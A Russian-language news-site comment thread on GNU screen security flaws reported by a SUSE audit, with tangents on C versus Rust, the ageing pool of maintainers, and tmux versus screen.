    Сказки на другом этаже. Когда изобретут неломающееся оборудование, тогда и обсудим как лучше не падать. До тех пор можно считать, что внезапный сбой в самый неподходящий момент — часть естественного поведения любой системы и проектировать соответствующим образом.

    > Не использовать без обоснования ретро функции, и нет проблемы.
    > без обоснования

    То есть не договорились.

     
  • 5.98, Аноним (189), 12:44, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >Но не всегда уместное

    Монады изобретены, но сишники как всегда об этом не знают.

     
     
  • 6.150, _ (??), 19:50, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    На этом софта даже больше сделано чем на расте ;-)))))

    Но да признаю, pandoc - мне зашёл, юзаю :)

     
  • 4.34, Аноним (34), 03:55, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Идея паники понятна, но аноним попался на незнании ОС ни Сижки: sukabrt это тебе он сегфоулт, он швыряется тоже по пурпоузу, как и эксепшен этот ваш панический. Если словил аборт это как раз самое контролируемое что ни на есть
     
     
  • 5.162, Аноним (5), 20:59, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Я не очень понял, на чем ты попался особенно, приплетя что-то про ОС и совсем ... большой текст свёрнут, показать
     
     
  • 6.186, Аноним (-), 23:35, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >>  The visible error only occurs when Screen is compiled with the _FORTIFY_SOURCE feature enabled.

    А в 2025 году остался кто-то у кого ЭТО вообще отключено при сборке софта?

     
  • 4.120, Аноним (166), 14:45, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    SIGABRT это тоже контролируемое, по вызову abort(). Настоящие сишники любят SIGSEGV.
     
     
  • 5.163, Аноним (5), 21:04, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > SIGABRT это тоже контролируемое, по вызову abort(). Настоящие сишники любят SIGSEGV.

    SIGABRT там - потому что скомпилировали с _FORTIFY_SOURCE (т.е. с доп. проверками strncpy).
    Так-то будет не менее любимое "программа работает без ошибок, просто начинает делать какую-то фигню":
    > Otherwise no errors are seen, not even when compiling with -fsanitize=address, likely because after the end of the target buffer another long buffer char message[MAXPATHLEN * 2] follows (thus only application payload data is overwritten).

     
     
  • 6.187, Аноним (-), 23:36, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > SIGABRT там - потому что скомпилировали с _FORTIFY_SOURCE (т.е. с доп. проверками
    > strncpy).

    Сейчас это тупо дефолтные флаги в всех нормальных дистро.

     
  • 3.65, Соль земли (?), 10:20, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Крашнуться, то есть срочно завершиться - это наилучшее поведение при непредусмотренной работе программы. Так ты быстрее всего поймёшь, что что-то не так.
     
  • 3.89, Аноним (189), 12:31, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >Вы же вроде в расте как раз такое и любите - чуть что - сразу паника

    Как и ожидалось, про монады сишники ничего не слышали. И даже сейчас, они не пойдут выяснять, что это такое. Память сама себя не испортит, а патч, против порчи памяти, сам себя не напишет.

     
     
  • 4.114, Аноним (114), 14:14, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Просьба уточнить использование термина "монады": имеется ввиду та самая разновидность функтора из теории категорий или кто-то что-то левое назвал "монадой" для большей крутости?
     
     
  • 5.130, Аноним (189), 16:28, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >>= и >|= если впрочем понимаете, о чём я.
     
  • 5.138, Википедист (?), 17:46, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Прочитал Википедию за вас:

    The computer scientist Eugenio Moggi was the first to explicitly link the monad of category theory to functional programming, in a conference paper in 1989, followed by a more refined journal submission in 1991. In earlier work, several computer scientists had advanced using category theory to provide semantics for the lambda calculus. Moggi's key insight was that a real-world program is not just a function from values to other values, but rather a transformation that forms computations on those values. When formalized in category-theoretic terms, this leads to the conclusion that monads are the structure to represent these computations

     
  • 5.153, _ (??), 19:54, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Просьба уточнить использование термина "монады":

    Да чего тут понимать то?
    Пока 20-ти летки всё начинают переписывать на Rust-e ...
    30-ти летки начинают переписывать всё на Haskell-e ...

    Можно ставки принимать "кто придёт вторым, а кто предпоследним"(С)
    ;-)

     

     ....большая нить свёрнута, показать (104)

  • 1.8, крокодил мимо.. (-), 01:01, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    просто оставлю это здесь..
    https://undeadly.org/cgi?action=article;sid=20090712190402
     
  • 1.10, sena (ok), 01:04, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > нынешние сопровождающие GNU screen недостаточно хорошо ориентируются в кодовой базе проекта

    То есть диды написали тонны сишного кода в ГНУ/Линуксах и уходят, а сопровождать его вместо них некому.

     
     
  • 2.11, Нуину (?), 01:15, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > То есть диды написали тонны сишного кода в ГНУ/Линуксах и уходят

    А где там в gnu screen тонна кода?

    > а сопровождать его вместо них некому.

    Получается некому, а те, кто могут, не хотят. Об этом яжфин говорил, что проблема есть в сопровождающих.

     
     
  • 3.14, sena (ok), 01:25, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Об этом яжфин говорил, что проблема есть в сопровождающих.

    Тогда все эти мансы с растом обретают иной смысл - просто Торвальдс хочет привлечь к разработке молодёжь, а она в си не умеет и не хочет. Ну и скандал, борьба, революция, всё это тоже важно для привлечения молодёжи.

     
     
  • 4.15, Нуину (?), 01:35, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Тогда все эти мансы с растом обретают иной смысл - просто Торвальдс хочет привлечь к разработке молодёжь, а она в си не умеет и не хочет. Ну и скандал, борьба, революция, всё это тоже важно для привлечения молодёжи.

    Я думаю там замешаны конторы, у которых ставка на раст. У них профит простой: нужны дешевые разрабы.

    > а она в си не умеет и не хочет.

    Справедливости ради молодёжь много чего не умеет не хочет. А нет, умеют писать жручие и тормозные поделия на электроне.

     
     
  • 5.66, Карлос Сношайтилис (ok), 10:21, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Я думаю там замешаны конторы, у которых ставка на раст. У них профит простой: нужны дешевые разрабы.

    Для дешёвых разрабов нужен низкой порог входа и превышение предложения над спросом. В расте ни того ни другого не наблюдается.
    Скорее гошка, но даже там рынок не насыщен исчо.

     
     
  • 6.152, Нуину (?), 19:53, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Для дешёвых разрабов нужен низкой порог входа и превышение предложения над спросом. В расте ни того ни другого не наблюдается.

    Ну я имел ввиду низкий относительно с++.

     
  • 4.27, 12yoexpert (ok), 02:28, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    меня больше тревожит, что некоторые "не умеют в русский язык"
     
     
  • 5.36, Аноним (34), 03:57, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Почем тебя это тревожет
     
     
  • 6.99, Аноним (93), 12:45, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    потому-что на нем можно писать прозрачные слова (белый листочек А4) или спокойно одно слово подменять другим и вовсе не синонимичным. Ипаразитным словом теперь является не "б*ять", а "наш". Вот такой вот аксиомный бихевиор.
     
     
  • 7.210, аноним ололоев (?), 13:15, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >>Ипаразитным словом теперь является

    Error 1:  ‘Ипаразитным’ was not declared in this scope

     
  • 4.60, Аноним (160), 09:55, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > а она в си не умеет и не хочет

    И совершенно правильно делает. Оно им надо, в кучах дедовского г… копаться?

     
     
  • 5.71, sena (ok), 10:54, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >> а она в си не умеет и не хочет
    > И совершенно правильно делает. Оно им надо, в кучах дедовского г… копаться?

    Понять можно, простить - никогда. :)

    Надо писать научный труд "отсутствие преемственности в айти". :)

    На самом деле, если Торвальдс молодёжи не наберёт, то Линукс тихонечко умрёт, да и многие другие важные свободные проекты тоже.


     
     
  • 6.74, Аноним (-), 11:05, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Понять можно, простить - никогда. :)

    Деда ответ (с) )))

    > Надо писать научный труд "отсутствие преемственности в айти". :)

    Интересно, писал ли кто-то подобное в стиле "молодежь не хочет ухаживать за лошадками! им подавай эти новомодные автомобили!!!
    А ведь лошадка это не бездушная железка, у нее есть характер, она умеет фыркать, кушать вкусняшки и пахнуть навозом!"

    > На самом деле, если Торвальдс молодёжи не наберёт, то Линукс тихонечко умрёт,

    Не умрет.
    Есть корпорации у которых наемные рабочие, которые будут делать то, что им скажут.
    Правда тогда в ядре код от "индивидуалов" будет вообще около нуля, а не процентов 10 как сейчас.

    > да и многие другие важные свободные проекты тоже.

    Если на них забили и они умерли - значит не настолько и важные.

     
     
  • 7.76, sena (ok), 11:19, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Есть корпорации у которых наемные рабочие, которые будут делать то, что им
    > скажут.

    Ты переоцениваешь возможности корпов, даже бабло не всемогуще. Если разрабов способных разобраться в сишечке не будет, то их не будет, сколько бабла не вливай.

    Всё что корпы смогут сделать в этом случае - найти новый молодой проект с молодым условным Торвальдсом и вложиться в его поддержку.

    Но я думаю старый Торвальдс смекнул что к чему и возможно он успеет омолодить состав, хотя и не факт.

    > Если на них забили и они умерли - значит не настолько и
    > важные.

    Ну в принципе да, так и есть. Монолит не нужен.

     
     
  • 8.127, Аноним (-), 16:19, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Возможно переоцениваю Но я смотрю со своей колокольни полче 10 лет работы на т... большой текст свёрнут, показать
     
  • 8.128, User (??), 16:21, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Ну будет как с modern perl ом - пользуемся, пока работает, как ломается - перепи... текст свёрнут, показать
     
     
  • 9.155, _ (??), 19:56, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    О рили А чего ж с Cobol не переписали и не выкинули А ну да у вас же лапк... текст свёрнут, показать
     
     
  • 10.181, Аноним (144), 23:03, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Не поломался, вот и не переписали Лапки тут не при чём, тем более что в том код... текст свёрнут, показать
     
     
  • 11.241, _ (??), 19:07, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Ты поплачь, полегчает С А по факту аэропорт Франкфурта все помойки на плане... текст свёрнут, показать
     
  • 10.196, Аноним (189), 00:24, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Есть задачи сложные технически, например, производство айфона, и есть задачи сло... текст свёрнут, показать
     
  • 10.201, User (??), 07:07, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Так и переписали и выкинули в точности вот описанным вот образом В реальности э... текст свёрнут, показать
     
     
  • 11.242, _ (??), 19:11, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Но тля на __КАЖДЫЙ__ взмах кредиткой по всему шарику - отрабатывает именно _ОН_ ... текст свёрнут, показать
     
     
  • 12.245, Аноним (245), 19:26, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    И Каждый слив моего толчка отправляет мистера какаху в увлекательное путешестви... текст свёрнут, показать
     
  • 12.246, User (??), 19:36, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    А на практически каждое щелканье выключателем на 1 6 части суши - немного паскал... текст свёрнут, показать
     
  • 6.107, Аноним (189), 13:18, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >На самом деле, если Торвальдс молодёжи не наберёт, то Линукс тихонечко умрёт

    Варианта, что ядро будет написано на нормальном языке, а не там, чуть ли не на каждой строке - неопределённое поведение, вы конечно же не рассматриваете
    >Понять можно, простить - никогда. :)

    Молодёжь не хочет мазохизма с  неопределённым поведением, удивительно то как

     
     
  • 7.125, sena (ok), 15:52, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >>На самом деле, если Торвальдс молодёжи не наберёт, то Линукс тихонечко умрёт
    > Варианта, что ядро будет написано на нормальном языке, а не там, чуть
    > ли не на каждой строке - неопределённое поведение, вы конечно же
    > не рассматриваете

    Шансы не нулевые. Если Торвальдс успеет сейчас оперативно массово привлечь молодёжь, то может что-то и получится, но будет нелегко. А если не успеет, то молодёжи гораздо проще и быстрее будет написать новое ядро заново с нуля, разумеется не на сях.

     
     
  • 8.131, Аноним (189), 16:37, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Написать заново, с нуля, можно мс-дос или миникс, с соответствющим функционалом ... текст свёрнут, показать
     
     
  • 9.143, Аноним (-), 17:55, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Донкихотских проектов - уже было и есть Вон redox os, а вон fuchsia При том за... текст свёрнут, показать
     
  • 9.167, sena (ok), 21:37, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    А это как раз то, что нам и нужно Микро- или нано-ядро с соответствующим функци... текст свёрнут, показать
     
     
  • 10.197, Аноним (189), 00:52, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Написать само по себе микроядро не сложно Проблема в том, что кроме микроядра н... текст свёрнут, показать
     
     
  • 11.249, sena (ok), 10:48, 16/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Ну это скорее проблемы zfs и btrfs Значит сначала сделают ext4 ... текст свёрнут, показать
     
  • 6.154, Нуину (?), 19:55, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > На самом деле, если Торвальдс молодёжи не наберёт, то Линукс тихонечко умрёт, да и многие другие важные свободные проекты тоже.

    Так и будет. Ядро попилят просто. К тому же GPL как кость в горле для корпов. Плюс всему этому будет способствовать тренд на деглобализацию и закрытие технологий (чтобы не сперли).

     
  • 3.94, Аноним (93), 12:39, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Получается некому, а те, кто могут, не хотят.

    А кто платить то будет?

     
     
  • 4.243, _ (??), 19:13, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Как обычно ... :)

    Ну ты понил(С)

     
  • 2.72, Аноним (-), 10:59, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > То есть диды написали тонны сишного кода в ГНУ/Линуксах

    Угу.

    > и уходят

    чудовищная безответственность!

    > а сопровождать его вместо них некому.

    А ты бы хотел ковыряться в старых жигулях как дед на выходных?
    Или лучше взять и заняться чем-то более интересным?

    Я уже молчу что качество того кода мягко говоря отстойное, судя по кол-ву дыр и тяп-ляпов в стиле "мамой клянусь тут не будет переполнения".

     
     
  • 3.78, sena (ok), 11:44, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > А ты бы хотел ковыряться в старых жигулях как дед на выходных?

    Я, поднимая седую бороду от жигулей: а? что? кто здесь?

    > Или лучше взять и заняться чем-то более интересным?
    > Я уже молчу что качество того кода мягко говоря отстойное, судя по
    > кол-ву дыр и тяп-ляпов в стиле "мамой клянусь тут не будет
    > переполнения".

    Вообще-то я не осуждаю, по крайней мере вслух. ;)

    Я констатирую факт. А уж что с этим делать? Может действительно миру нужно новое ядро и новый, молодой Сталман и Торвальдс.

    Где та молодая шпана?

     
     
  • 4.82, Аноним (-), 12:02, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Я знаю одного знакомого деда, который на старости по образованию был преподават... большой текст свёрнут, показать
     
     
  • 5.86, sena (ok), 12:14, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >> Где та молодая шпана?
    > Думаю в дискордах или тиктоках.
    > На ютубе тоже много.

    Тогда уже можно закапывать. :)

    А здесь хоть есть молодёжь, опросы проводили?

     
     
  • 6.90, Аноним (-), 12:32, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Снобизмом попахивают слова твои На темную сторону силы ведет сей путь А молод... большой текст свёрнут, показать
     
     
  • 7.248, sena (ok), 10:43, 16/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >> А здесь хоть есть молодёжь, опросы проводили?
    > А молодежь это кто)?
    > Мне например 30+ и я себя старым не считаю.

    Границы конечно размыты и индивидуальны, но как раз где-то с 30 это уже не молодёжь. Старым ты ещё не становишься, можно сказать средний возраст, зрелость и т.п.

     
  • 4.110, Аноним (110), 13:40, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > миру нужно новое ядро.

    МИРУ НУЖНО НОВОЕ ЯДРО.

     
     
  • 5.115, Аноним (115), 14:22, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Миру нужны стандарты, ядра могут быть собственной разработки.
     
     
  • 6.164, Аноним (93), 21:16, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    ага, волки и овцы - мир
     
  • 5.142, Аноним (-), 17:52, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >> миру нужно новое ядро.
    > МИРУ НУЖНО НОВОЕ ЯДРО.

    Как показала проверка гуглей и фуксией - не то чтобы вы соврали, просто не сказали всей правды.

    > МИРУ НАФИГНУЖНО НОВОЕ ЯДРО.

    Я дополнил недостающий кусок фразы, не благодарите :)

     
  • 2.230, Neon (??), 01:29, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Правочка:
    То есть диды написали тонны смешного кода в ГНУ/Линуксах и уходят, а сопровождать его вместо них некому.
     

     ....большая нить свёрнута, показать (44)

  • 1.13, Krtek (?), 01:24, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    >они так и не смогли подготовить исправления для всех уязвимостей

    Всё, что нужно знать о GNU.

     
  • 1.17, Аноним (17), 01:40, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    Zellij, tab-rs.
     
  • 1.19, Аноним (19), 01:45, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    > сотрудникам SUSE пришлось подготовить некоторые патчи самостоятельно. По мнению проводивших аудит исследователей, нынешние сопровождающие GNU screen недостаточно хорошо ориентируются в кодовой базе проекта и не способны полностью разобраться в выявленных проблемах безопасности.

    А нынешний сопровождающий — это alexander_naumov@opensuse.org ведь? Они там меж собой в suse договориться не могут даже?

     
     
  • 2.37, Аноним (37), 04:07, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Не суди строго: должно быть бро открыл олдскульную кодовую базу и у него глаза потекли, моментально окислился
     
  • 2.109, вася пупкин (?), 13:40, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Эта новость основана на репорте SUSE. Мнение другой стороны, Александра, upstream, мы не знаем. Интересным мне показалось, как они написали, что он им ничего так и не смог предоставить. Никаких патчей. А потом, в их же репорте, что после публикации SUSE патчей, он потребовал изменить авторство, ЧТО ОНИ И СДЕЛАЛИ %) Так на каком основании он потребовал это? И зачем они внесли изменения в авторство патчей (исправили со своего, на его), если не он предоставил пачти, как они написали, а они? =))
     
     
  • 3.119, Null (??), 14:36, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Кстати интересно. Он у них получается вообще дурачок дурачок, который ничего не делал, потом начал делать, потом ничего так и не сделал, а потом ещё чуть и эмбарго не нарушил. Ещё он якобы в коде проекта не разбирается.

    В copyright написано, что он занимается screen уже 10 лет. И кстати именно в его изменениях для 5.0.0 security issues они не нашли. Может человек заниматься проектом столько лет, выпускать релизы, и не знать проект так хорошо, как проверяющие из suse? Наверное что-то не поделили, вот они и решили его убрать. Тоже интересно, что нигде от его имени никаких запросов на аудит кода нет.

     
     
  • 4.123, вася пупкин (?), 15:41, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Это 100% совпадение конечно.. наверно... но 4 из 5 найденых SUSE проблем, это код, который был добавлен в screen как раз сотрудниками SUSE...

    Последняя, пятая, с logfile, это то, получилось после того, как безопасную проверку удалил прошлый мэйнтейнер Амадеус, который сейчас покинул проект. И именно эту проблему исправил (добавил обратно) Александр. И SUSE написал критику в его адрес в своем репорте. Ох уж эти совпадения =)

     

  • 1.31, Аноним (31), 03:01, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Роллинг это быстрые фиксы с одной стороны и новые вулны с другой.
     
  • 1.43, Аноним (43), 06:09, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    > только в ветке screen 5.0.0, которая поставляется в Fedora Linux, Arch Linux,
    > NetBSD, OpenBSD и Alpine.

    Спасибо этим господам что побегали для нас по минному полю и разминировали прямо его своими тушками :)

     
     
  • 2.44, Аноним (44), 06:25, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Им спасибо, а мы продолжим юзать tmux в роли терминал-мультиплексора
     
     
  • 3.141, Аноним (-), 17:50, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Им спасибо, а мы продолжим юзать tmux в роли терминал-мультиплексора

    Он довольно убогий и не умеет сериальные шнурки...

     
     
  • 4.148, Аноним (144), 18:28, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > не умеет сериальные шнурки

    Подавляющему большинству 1% это совершенно не надо и никогда в жизни не понадобится. Какие-то общеприменимые минусы есть?

     
  • 4.171, Аноним (2), 22:25, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Для работы с com-портами в любой UNIX-системе есть специальные программы, которые можно запускать в tmux.
     
     
  • 5.188, Аноним (-), 23:39, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Для работы с com-портами в любой UNIX-системе есть специальные программы, которые можно
    > запускать в tmux.

    Можно, но запускать 2 программы вместо одной - канительнее, и есть риск пересечения шорткатов. С хрен бы его знает каким результатом потом.

     
     
  • 6.202, Аноним (160), 08:26, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > запускать 2 программы вместо одной - канительнее

    Э-э, а юниксвей как же?

     
     
  • 7.221, Аноним (-), 21:43, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >> запускать 2 программы вместо одной - канительнее
    > Э-э, а юниксвей как же?

    Юниксвэй хорош там где он упрощает жизнь. И плох там где усложняет.

     
  • 6.244, _ (??), 19:17, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Смотри 7.157
     
  • 4.228, Эксконтрибутор FreeBSD (?), 00:00, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Да я же сказал, что в роли терминал-мультиплексора продолжаем юзать tmux

    А для serail юзай cu, stty, picocom или еще что-нибудь

     
  • 2.105, Аноним (2), 13:12, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    В NetBSD в 3rd-party пакетах есть обе версии, а в базовой системе идет tmux.
     

  • 1.52, Аноним (52), 08:35, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Как обычно, у проектов GNU код низкого качества. Ничего хорошего от этой конторки ждать нельзя.

    Лучше пользоваться TMUX. У него фич больше, конфиг вменяемый. Сделано людьми для людей.

     
     
  • 2.81, Аноним (81), 12:00, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    .. пользоваться им я конечно не буду
     
     
  • 3.168, _ (??), 21:44, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Ты вначале на человека сертифицируйся ....
     
  • 2.193, RHEL fan (?), 00:04, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Там ещё и конфиг нужен?
     
  • 2.209, Аноним (19), 13:13, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    All generalizations are false.
     
  • 2.232, Аноним (232), 10:06, 15/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    у проектов гну код нормального качества, просто современным программистам инженерных навыков не завезли и они выгорели после чтения первых 10 вызовов функций
     

  • 1.54, name (??), 08:56, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Врети - в BSD tmux вместо скрина! А GNU пора закопать на свалке истории как что-то нелепое и в лучших традициях неудавшееся.
     
     
  • 2.64, Аноним (64), 10:15, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Ну вот и сиди на своём tmux, а нам на GNU screen хорошо.
     
     
  • 3.199, Аноним (199), 02:54, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Tmux и screen - это как вим и нано. Вторыми пользуются неофиты и убунтята.
     
     
  • 4.208, Аноним (208), 12:37, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Неверно, совершенно разные весовые категории. Tmux и screen - это как Vim и Emacs.
     
  • 2.222, Аноним (-), 21:44, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Врети - в BSD tmux вместо скрина! А GNU пора закопать на
    > свалке истории как что-то нелепое и в лучших традициях неудавшееся.

    Вообще-то если вам не сказали, на свалке истории - BSD.

     

  • 1.63, Соль земли (?), 10:10, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    В Debian без setuid/setgid. Но как же он тогда работает? Дебьяновская магия!
     
     
  • 2.215, Аноним (208), 16:30, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    capabilities(7)
     

  • 1.73, Аноним (2), 11:01, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Про NetBSD какая-то ложь. В pkgsrc есть две версии: pkgsrc/misc/screen и pkgsrc/misc/screen4. Первая (без цифры в названии) это 5я версия, но ни одна из них не входит в состав базовой системы.
     
  • 1.101, Аноним (101), 12:54, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Какой-то странный эксплойт. Не желает он в подмененный файл писать, поскольку это уже не тот файл:
    Error writing logfile: Bad file descriptor
    Ну и: Screen version 4.09.01 (GNU) 20-Aug-23
    FreeBSD 14.2
     
     
  • 2.103, Аноним (101), 13:03, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Хм, а они успели разделиться на 4 и 5 ветки, оказывается, а я всё проспал. К счастью, видимо.
     
  • 2.139, Аноним (-), 17:48, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Error writing logfile: Bad file descriptor
    > Ну и: Screen version 4.09.01 (GNU) 20-Aug-23

    Хм... запустить эксплойт даже не прочитав его описание и тем более сорцы? А вы жжоте! Продолжайте дальше в том же духе, и вас будет ждать немало интересных сюрпризов :). Никогда не слышали про эксплойт от Ac1d B1tch3z или как их там правильно? Он довольно плоско прикалывался над теми кто любит - вот такое вот.

     
     
  • 3.149, Аноним (144), 18:37, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Про виртуальные машины слышал?
     

  • 1.112, Аноним (111), 14:01, 13/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    ... setuid на бинарник для мультиплексинга экранов? А чё на tee сразу setuid не впихнуть?
     
     
  • 2.140, Аноним (-), 17:49, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > ... setuid на бинарник для мультиплексинга экранов? А чё на tee сразу
    > setuid не впихнуть?

    Ну так в соответствии с новомодными веяниями, TEE = trusted execution environment :)

     
  • 2.170, Аноним (2), 22:17, 13/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Подозреваю чтоб логировать логины в wtmp/utmp
     
     
  • 3.205, пох. (?), 11:38, 14/05/2025 [^] [^^] [^^^] [ответить]  
  • +/
    нет.

    экспертиза...мда

     

  • 1.218, randomize (?), 20:47, 14/05/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    > Уязвимость вызвана тем, что при запуске с правами root

    Невероятно! Программа, запущенная под root, может выполнить код с правами root!

     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2025 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру